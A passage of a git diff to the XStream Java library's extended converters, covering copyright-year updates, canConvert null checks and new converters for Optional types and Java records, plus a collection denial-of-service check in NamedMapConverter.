+1,6 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2014, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -28,7 +28,7 @@ public class ISO8601SqlTimestampConverter extends ISO8601DateConverter { @Override public boolean canConvert(final Class type) { - return type.equals(Timestamp.class) && super.canConvert(Date.class); + return type == Timestamp.class && super.canConvert(Date.class); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/JavaFieldConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/JavaFieldConverter.java index 58927002a..f02fdf87c 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/JavaFieldConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/JavaFieldConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2009, 2013, 2014 XStream Committers. + * Copyright (C) 2009, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -70,7 +70,7 @@ protected JavaFieldConverter(final SingleValueConverter javaClassConverter, fina @Override public boolean canConvert(final Class type) { - return type.equals(Field.class); + return type == Field.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/JavaMethodConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/JavaMethodConverter.java index 1afa43d15..7253fcff4 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/JavaMethodConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/JavaMethodConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2013, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -70,7 +70,7 @@ protected JavaMethodConverter(final SingleValueConverter javaClassConverter) { @Override public boolean canConvert(final Class type) { - return type.equals(Method.class) || type.equals(Constructor.class); + return type == Method.class || type == Constructor.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/LocaleConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/LocaleConverter.java index 53f7b1342..299f38c2a 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/LocaleConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/LocaleConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -26,7 +26,7 @@ public class LocaleConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(Locale.class); + return type == Locale.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/LookAndFeelConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/LookAndFeelConverter.java index 06b3ab723..a082de7b9 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/LookAndFeelConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/LookAndFeelConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007, 2008, 2013, 2014 XStream Committers. + * Copyright (C) 2007, 2008, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -44,6 +44,6 @@ public LookAndFeelConverter(final Mapper mapper, final ReflectionProvider reflec @Override public boolean canConvert(final Class type) { - return LookAndFeel.class.isAssignableFrom(type) && canAccess(type); + return type != null && LookAndFeel.class.isAssignableFrom(type) && canAccess(type); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/NamedArrayConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/NamedArrayConverter.java index a8a74dfa9..4ee81e599 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/NamedArrayConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/NamedArrayConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2013, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -19,7 +19,6 @@ import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.core.util.HierarchicalStreams; import com.thoughtworks.xstream.core.util.Primitives; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -30,7 +29,7 @@ *

    * To be used as local converter. *

    - * + * * @author Jörg Schaible * @since 1.4.6 */ @@ -42,7 +41,7 @@ public class NamedArrayConverter implements Converter { /** * Construct a NamedArrayConverter. - * + * * @param arrayType * @param mapper * @param itemName @@ -67,10 +66,10 @@ public void marshal(final Object source, final HierarchicalStreamWriter writer, final int length = Array.getLength(source); for (int i = 0; i < length; ++i) { final Object item = Array.get(source, i); - final Class itemType = item == null ? Mapper.Null.class : arrayType.getComponentType().isPrimitive() - ? Primitives.unbox(item.getClass()) - : item.getClass(); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, itemName, itemType); + final Class itemType = item == null + ? Mapper.Null.class + : arrayType.getComponentType().isPrimitive() ? Primitives.unbox(item.getClass()) : item.getClass(); + writer.startNode(itemName, itemType); if (!itemType.equals(arrayType.getComponentType())) { final String attributeName = mapper.aliasForSystemAttribute("class"); if (attributeName != null) { diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/NamedCollectionConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/NamedCollectionConverter.java index 0f2660169..86bffe4d3 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/NamedCollectionConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/NamedCollectionConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2013, 2014 XStream Committers. + * Copyright (C) 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -16,7 +16,6 @@ import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.converters.collections.CollectionConverter; import com.thoughtworks.xstream.core.util.HierarchicalStreams; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -27,7 +26,7 @@ *

    * To be used as local converter. Note, suppress the usage of the implicit type argument, if registered with annotation. *

    - * + * * @author Jörg Schaible * @since 1.4.5 */ @@ -38,7 +37,7 @@ public class NamedCollectionConverter extends CollectionConverter { /** * Constructs a NamedCollectionConverter. - * + * * @param mapper the mapper * @param itemName the name of the items * @param itemType the base type of the items @@ -50,7 +49,7 @@ public NamedCollectionConverter(final Mapper mapper, final String itemName, fina /** * Constructs a NamedCollectionConverter handling an explicit Collection type. - * + * * @param type the Collection type to handle * @param mapper the mapper * @param itemName the name of the items @@ -66,9 +65,21 @@ public NamedCollectionConverter( } @Override - protected void writeItem(final Object item, final MarshallingContext context, final HierarchicalStreamWriter writer) { + protected void writeCompleteItem(final Object item, final MarshallingContext context, + final HierarchicalStreamWriter writer) { + writeItem(item, context, writer); + } + + /** + * @deprecated As of 1.4.11 use {@link #writeCompleteItem(Object, MarshallingContext, HierarchicalStreamWriter)} + * instead. + */ + @Deprecated + @Override + protected void writeItem(final Object item, final MarshallingContext context, + final HierarchicalStreamWriter writer) { final Class itemType = item == null ? Mapper.Null.class : item.getClass(); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, name, itemType); + writer.startNode(name, itemType); if (!itemType.equals(type)) { final String attributeName = mapper().aliasForSystemAttribute("class"); if (attributeName != null) { @@ -82,7 +93,7 @@ protected void writeItem(final Object item, final MarshallingContext context, fi } @Override - protected Object readItem(final HierarchicalStreamReader reader, final UnmarshallingContext context, + protected Object readBareItem(final HierarchicalStreamReader reader, final UnmarshallingContext context, final Object current) { final String className = HierarchicalStreams.readClassAttribute(reader, mapper()); final Class itemType = className == null ? type : mapper().realClass(className); diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/NamedMapConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/NamedMapConverter.java index 3992baf4a..4b3a991ee 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/NamedMapConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/NamedMapConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2013, 2014, 2016 XStream Committers. + * Copyright (C) 2013, 2014, 2016, 2018, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -19,8 +19,9 @@ import com.thoughtworks.xstream.converters.SingleValueConverter; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.converters.collections.MapConverter; +import com.thoughtworks.xstream.core.JVM; +import com.thoughtworks.xstream.core.SecurityUtils; import com.thoughtworks.xstream.core.util.HierarchicalStreams; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -246,7 +247,7 @@ public void marshal(final Object source, final HierarchicalStreamWriter writer, final Object key = entry.getKey(); final Object value = entry.getValue(); if (entryName != null) { - ExtendedHierarchicalStreamWriterHelper.startNode(writer, entryName, entry.getClass()); + writer.startNode(entryName, entry.getClass()); if (keyConverter != null && key != null) { writer.addAttribute(keyName, keyConverter.toString(key)); } @@ -328,7 +329,9 @@ protected void populateMap(final HierarchicalStreamReader reader, final Unmarsha @SuppressWarnings("unchecked") final Map targetMap = (Map)target; + final long now = System.currentTimeMillis(); targetMap.put(key, value); + SecurityUtils.checkForCollectionDoSAttack(context, now); if (entryName != null) { reader.moveUp(); @@ -354,7 +357,7 @@ private SingleValueConverter getSingleValueConverter(final Class type, final protected void writeItem(final String name, final Class type, final Object item, final MarshallingContext context, final HierarchicalStreamWriter writer) { final Class itemType = item == null ? Mapper.Null.class : item.getClass(); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, name, itemType); + writer.startNode(name, itemType); if (!itemType.equals(type)) { final String attributeName = mapper().aliasForSystemAttribute("class"); if (attributeName != null) { diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/OptionalConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/OptionalConverter.java new file mode 100644 index 000000000..2ef44fbd1 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/OptionalConverter.java @@ -0,0 +1,73 @@ +/* + * Copyright (C) 2022 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 8. December 2022 by Joerg Schaible + */ +package com.thoughtworks.xstream.converters.extended; + +import java.util.Optional; + +import com.thoughtworks.xstream.converters.Converter; +import com.thoughtworks.xstream.converters.MarshallingContext; +import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.core.util.HierarchicalStreams; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import com.thoughtworks.xstream.io.HierarchicalStreamWriter; +import com.thoughtworks.xstream.mapper.Mapper; + + +/** + * Converts an Optional type. + * + * @author Emanuel Alves + * @author Jörg Schaible + * @since 1.4.20 + */ +public class OptionalConverter implements Converter { + + private final Mapper mapper; + + public OptionalConverter(final Mapper mapper) { + this.mapper = mapper; + } + + @Override + public boolean canConvert(final Class type) { + return type != null && type == Optional.class; + } + + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { + final Optional optional = (Optional)source; + if (optional.isPresent()) { + writer.startNode(mapper.serializedMember(Optional.class, "value")); + + final Object object = optional.get(); + final String name = mapper.serializedClass(object != null ? object.getClass() : null); + writer.addAttribute(mapper.aliasForSystemAttribute("class"), name); + context.convertAnother(optional.get()); + writer.endNode(); + } + } + + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { + final Object value; + if (reader.hasMoreChildren()) { + reader.moveDown(); + + final Class type = HierarchicalStreams.readClassType(reader, mapper); + value = context.convertAnother(context, type); + reader.moveUp(); + return Optional.of(value); + } else { + return Optional.empty(); + } + } + +} diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/OptionalDoubleConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/OptionalDoubleConverter.java new file mode 100644 index 000000000..1d7d4f94c --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/OptionalDoubleConverter.java @@ -0,0 +1,69 @@ +/* + * Copyright (C) 2022 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 14. December 2022 by Joerg Schaible + */ +package com.thoughtworks.xstream.converters.extended; + +import java.util.OptionalDouble; + +import com.thoughtworks.xstream.converters.Converter; +import com.thoughtworks.xstream.converters.MarshallingContext; +import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.converters.basic.DoubleConverter; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import com.thoughtworks.xstream.io.HierarchicalStreamWriter; + + +/** + * Converts an OptionalDouble type. + * + * @author Jörg Schaible + * @since 1.4.20 + */ +public class OptionalDoubleConverter extends DoubleConverter implements Converter { + + @Override + public boolean canConvert(final Class type) { + return type != null && type == OptionalDouble.class; + } + + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { + writer.setValue(toString(source)); + } + + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { + final String data = reader.getValue(); // needs to be called before hasMoreChildren. + if (!reader.hasMoreChildren()) { + return fromString(data); + } else { + reader.moveDown(); + final boolean isPresent = (Boolean)context.convertAnother(context, Boolean.class); + reader.moveUp(); + reader.moveDown(); + final double value = (Double)context.convertAnother(context, Double.class); + reader.moveUp(); + return isPresent ? OptionalDouble.of(value) : OptionalDouble.empty(); + } + } + + @Override + public String toString(final Object obj) { + final OptionalDouble optional = (OptionalDouble)obj; + return optional.isPresent() ? super.toString(optional.getAsDouble()) : ""; + } + + @Override + public Object fromString(final String str) { + return str == null || str.length() == 0 + ? OptionalDouble.empty() + : OptionalDouble.of((Double)super.fromString(str)); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/OptionalIntConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/OptionalIntConverter.java new file mode 100644 index 000000000..caf192fbd --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/OptionalIntConverter.java @@ -0,0 +1,67 @@ +/* + * Copyright (C) 2022 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 17. December 2022 by Joerg Schaible + */ +package com.thoughtworks.xstream.converters.extended; + +import java.util.OptionalInt; + +import com.thoughtworks.xstream.converters.Converter; +import com.thoughtworks.xstream.converters.MarshallingContext; +import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.converters.basic.IntConverter; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import com.thoughtworks.xstream.io.HierarchicalStreamWriter; + + +/** + * Converts an OptionalInt type. + * + * @author Jörg Schaible + * @since 1.4.20 + */ +public class OptionalIntConverter extends IntConverter implements Converter { + + @Override + public boolean canConvert(final Class type) { + return type != null && type == OptionalInt.class; + } + + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { + writer.setValue(toString(source)); + } + + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { + final String data = reader.getValue(); // needs to be called before hasMoreChildren. + if (!reader.hasMoreChildren()) { + return fromString(data); + } else { + reader.moveDown(); + final boolean isPresent = (Boolean)context.convertAnother(context, Boolean.class); + reader.moveUp(); + reader.moveDown(); + final int value = (Integer)context.convertAnother(context, Integer.class); + reader.moveUp(); + return isPresent ? OptionalInt.of(value) : OptionalInt.empty(); + } + } + + @Override + public String toString(final Object obj) { + final OptionalInt optional = (OptionalInt)obj; + return optional.isPresent() ? super.toString(optional.getAsInt()) : ""; + } + + @Override + public Object fromString(final String str) { + return str == null || str.length() == 0 ? OptionalInt.empty() : OptionalInt.of((Integer)super.fromString(str)); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/OptionalLongConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/OptionalLongConverter.java new file mode 100644 index 000000000..fd746363d --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/OptionalLongConverter.java @@ -0,0 +1,67 @@ +/* + * Copyright (C) 2022 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 17. December 2022 by Joerg Schaible + */ +package com.thoughtworks.xstream.converters.extended; + +import java.util.OptionalLong; + +import com.thoughtworks.xstream.converters.Converter; +import com.thoughtworks.xstream.converters.MarshallingContext; +import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.converters.basic.LongConverter; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import com.thoughtworks.xstream.io.HierarchicalStreamWriter; + + +/** + * Converts an OptionalLong type. + * + * @author Jörg Schaible + * @since 1.4.20 + */ +public class OptionalLongConverter extends LongConverter implements Converter { + + @Override + public boolean canConvert(final Class type) { + return type != null && type == OptionalLong.class; + } + + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { + writer.setValue(toString(source)); + } + + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { + final String data = reader.getValue(); // needs to be called before hasMoreChildren. + if (!reader.hasMoreChildren()) { + return fromString(data); + } else { + reader.moveDown(); + final boolean isPresent = (Boolean)context.convertAnother(context, Boolean.class); + reader.moveUp(); + reader.moveDown(); + final long value = (Long)context.convertAnother(context, Long.class); + reader.moveUp(); + return isPresent ? OptionalLong.of(value) : OptionalLong.empty(); + } + } + + @Override + public String toString(final Object obj) { + final OptionalLong optional = (OptionalLong)obj; + return optional.isPresent() ? super.toString(optional.getAsLong()) : ""; + } + + @Override + public Object fromString(final String str) { + return str == null || str.length() == 0 ? OptionalLong.empty() : OptionalLong.of((Long)super.fromString(str)); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/PathConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/PathConverter.java index d27cdde8b..0d0540bde 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/PathConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/PathConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2016 XStream Committers. + * Copyright (C) 2016, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -14,9 +14,11 @@ import java.net.URI; import java.net.URISyntaxException; import java.nio.file.FileSystems; +import java.nio.file.InvalidPathException; import java.nio.file.Path; import java.nio.file.Paths; +import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.converters.basic.AbstractSingleValueConverter; @@ -30,20 +32,24 @@ public class PathConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return Path.class.isAssignableFrom(type); + return type != null && Path.class.isAssignableFrom(type); } @Override public Path fromString(final String str) { try { - final URI uri = new URI(str); - if (uri.getScheme() == null) { + try { + final URI uri = new URI(str); + if (uri.getScheme() == null || uri.getScheme().length() == 1) { + return Paths.get(File.separatorChar != '/' ? str.replace('/', File.separatorChar) : str); + } else { + return Paths.get(uri); + } + } catch (final URISyntaxException e) { return Paths.get(str); - } else { - return Paths.get(uri); } - } catch (final URISyntaxException e) { - return Paths.get(str); + } catch (final InvalidPathException e) { + throw new ConversionException(e); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/RecordConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/RecordConverter.java new file mode 100644 index 000000000..71d085625 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/RecordConverter.java @@ -0,0 +1,270 @@ +/* + * Copyright (C) 2020, 2021 XStream committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 19. August 2020 by Julia Boes + */ + +package com.thoughtworks.xstream.converters.extended; + +import com.thoughtworks.xstream.converters.ConversionException; +import com.thoughtworks.xstream.converters.Converter; +import com.thoughtworks.xstream.converters.MarshallingContext; +import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import com.thoughtworks.xstream.io.HierarchicalStreamWriter; +import com.thoughtworks.xstream.mapper.Mapper; +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles; +import java.lang.reflect.Array; +import java.util.Arrays; +import java.util.HashMap; +import static java.lang.invoke.MethodType.methodType; + + +/** + * Converts a Record. + * + * @author Julia Boes + * @author Chris Hegarty + */ +public final class RecordConverter implements Converter { + private static final MethodHandle MH_IS_RECORD; + private static final MethodHandle MH_GET_RECORD_COMPONENTS; + private static final MethodHandle MH_GET_NAME; + private static final MethodHandle MH_GET_TYPE; + private static final MethodHandles.Lookup LOOKUP; + + protected final Mapper mapper; + + public RecordConverter(Mapper mapper) { + this.mapper = mapper; + } + + static { + MethodHandle MH_isRecord; + MethodHandle MH_getRecordComponents; + MethodHandle MH_getName; + MethodHandle MH_getType; + LOOKUP = MethodHandles.lookup(); + + try { + // reflective machinery required to access the record components + // without a static dependency on Java SE 16 APIs or Java SE 14 or 15 API with preview enabled + Class c = Class.forName("java.lang.reflect.RecordComponent"); + MH_isRecord = LOOKUP.findVirtual(Class.class, "isRecord", methodType(boolean.class)); + MH_getRecordComponents = LOOKUP.findVirtual(Class.class, "getRecordComponents", methodType(Array + .newInstance(c, 0).getClass())).asType(methodType(Object[].class, Class.class)); + MH_getName = LOOKUP.findVirtual(c, "getName", methodType(String.class)).asType(methodType(String.class, + Object.class)); + MH_getType = LOOKUP.findVirtual(c, "getType", methodType(Class.class)).asType(methodType(Class.class, + Object.class)); + } catch (ClassNotFoundException | NoSuchMethodException e) { + // pre-Java-14 + MH_isRecord = null; + MH_getRecordComponents = null; + MH_getName = null; + MH_getType = null; + } catch (IllegalAccessException unexpected) { + throw new AssertionError(unexpected); + } + + MH_IS_RECORD = MH_isRecord; + MH_GET_RECORD_COMPONENTS = MH_getRecordComponents; + MH_GET_NAME = MH_getName; + MH_GET_TYPE = MH_getType; + } + + /** Returns true if, and only if, the given class is a record class. */ + private static boolean isRecord(Class aClass) { + try { + return (boolean)MH_IS_RECORD.invokeExact(aClass); + } catch (Throwable t) { + throw new ConversionException(t); + } + } + + /** A record component, which as a name and a type. */ + final static class RecordComponent { + private final String name; + private final Class type; + + RecordComponent(String name, Class type) { + this.name = name; + this.type = type; + } + + String name() { + return name; + } + + Class type() { + return type; + } + } + + /** Converts record classes only. All record classes. */ + @Override + public boolean canConvert(Class type) { + return isRecord(type); + } + + /** Marshals a record. */ + @Override + public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) { + final Class cls = source.getClass(); + if (!isRecord(cls)) { + throw new ConversionException(source + " is not a record"); + } + Arrays.stream(recordComponents(cls)).forEach(rc -> writeItem(rc, componentValue(source, rc), context, writer)); + } + + private void writeItem(RecordComponent recordComponent, Object compValue, MarshallingContext context, + HierarchicalStreamWriter writer) { + if (compValue == null) { + return; // omit null values + } else { + writer.startNode(recordComponent.name(), compValue.getClass()); + final Class defaultType = mapper.defaultImplementationOf(recordComponent.type()); + final Class actualType = compValue.getClass(); + final String attributeName = mapper.aliasForSystemAttribute("class"); + final String serializedClassName = mapper.serializedClass(actualType); + if (!actualType.equals(defaultType)) { + if (!serializedClassName.equals(mapper.serializedClass(defaultType))) { + writer.addAttribute(attributeName, serializedClassName); + } + } else if (isRecord(actualType)) { + // always add class attribute for nested records + writer.addAttribute(attributeName, serializedClassName); + } + context.convertAnother(compValue); + writer.endNode(); + } + } + + /** + * Unmarshals a record. Reconstitutes all stream values first (if any), then matches the stream value to the + * corresponding component parameter position of the record's canonical constructor, lastly, invokes the canonical + * constructor. + */ + @Override + public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { + final Class aRecord = findClass(reader); + if (!isRecord(aRecord)) { + throw new ConversionException(aRecord + " is not a record"); + } + final RecordComponent[] recordComponents = recordComponents(aRecord); + final HashMap valueMap = new HashMap<>(); + while (reader.hasMoreChildren()) { + Class c; + reader.moveDown(); + String name = reader.getNodeName(); + if (reader.getAttribute("class") != null) { + c = classForName(reader.getAttribute("class")); + } else { + c = Arrays.stream(recordComponents).filter(rc -> rc.name().equals(name)).map(RecordComponent::type) + .findFirst().orElseThrow(() -> new ConversionException("Type not found for " + name)); + } + valueMap.put(name, context.convertAnother(null, c)); + reader.moveUp(); + } + Object[] args = orderValues(valueMap, recordComponents); + return invokeCanonicalConstructor(aRecord, recordComponents, args); + } + + /** + * Returns an ordered array of the record components for the given record class. The order is that of the components + * in the record attribute of the class file. + */ + private static RecordComponent[] recordComponents(Class cls) { + try { + Object[] rawComponents = (Object[])MH_GET_RECORD_COMPONENTS.invokeExact(cls); + RecordComponent[] recordComponents = new RecordComponent[rawComponents.length]; + for (int i = 0; i < rawComponents.length; i++) { + final Object comp = rawComponents[i]; + recordComponents[i] = new RecordComponent((String)MH_GET_NAME.invokeExact(comp), (Class)MH_GET_TYPE + .invokeExact(comp)); + } + return recordComponents; + } catch (Throwable t) { + throw new ConversionException("cannot retrieve record components", t); + } + } + + /** Retrieves the value of the record component for the given record object. */ + private static Object componentValue(Object recordObject, RecordComponent recordComponent) { + try { + MethodHandle MH_get = LOOKUP.findVirtual(recordObject.getClass(), recordComponent.name(), methodType( + recordComponent.type())); + return MH_get.invoke(recordObject); + } catch (Throwable t) { + throw new ConversionException("cannot retrieve record components", t); + } + } + + /** + * Returns a array containing values ordered by that of the record components. Individual values are retrieved + * (matched by name) from the given valueMap. This order follows that of the record components, which also matches + * the order of parameters of the canonical constructor. Where no matching value is found, the default value of the + * component type is inserted. + */ + private static Object[] orderValues(HashMap valueMap, RecordComponent[] recordComponents) { + return Arrays.stream(recordComponents).map(rc -> valueMap.getOrDefault(rc.name(), defaultValueFor(rc.type()))) + .toArray(Object[]::new); + } + + private static Class classForName(String className) { + try { + return Class.forName(className); + } catch (ClassNotFoundException e) { + throw new ConversionException("Class not found.", e); + } + } + + private static Class findClass(HierarchicalStreamReader reader) { + String c = reader.getAttribute("class"); + String className = c != null ? c : reader.getNodeName(); + return classForName(className); + } + + /** + * Invokes the canonical constructor of a record class with the given argument values. + */ + private static Object invokeCanonicalConstructor(Class recordClass, RecordComponent[] recordComponents, + Object[] args) { + try { + Class[] paramTypes = Arrays.stream(recordComponents).map(RecordComponent::type).toArray(Class[]::new); + MethodHandle MH_canonicalConstructor = LOOKUP.findConstructor(recordClass, methodType(void.class, + paramTypes)).asType(methodType(Object.class, paramTypes)); + return MH_canonicalConstructor.invokeWithArguments(args); + } catch (Throwable t) { + throw new ConversionException("Cannot construct type", t); + } + } + + /** Returns the default value for the given type. */ + private static Object defaultValueFor(Class type) { + if (type == Integer.TYPE) + return 0; + else if (type == Byte.TYPE) + return (byte)0; + else if (type == Long.TYPE) + return 0L; + else if (type == Float.TYPE) + return 0.0f; + else if (type == Double.TYPE) + return 0.0d; + else if (type == Short.TYPE) + return (short)0; + else if (type == Character.TYPE) + return '\u0000'; + else if (type == Boolean.TYPE) + return false; + else + return null; + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/RegexPatternConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/RegexPatternConverter.java index 8f251cfde..22fcaf517 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/RegexPatternConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/RegexPatternConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -46,7 +46,7 @@ public RegexPatternConverter(final Converter defaultConverter) { @Override public boolean canConvert(final Class type) { - return type.equals(Pattern.class); + return type == Pattern.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/SqlDateConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/SqlDateConverter.java index 3e23d4e60..baee30edd 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/SqlDateConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/SqlDateConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -25,7 +25,7 @@ public class SqlDateConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(Date.class); + return type == Date.class; } @Override diff --git 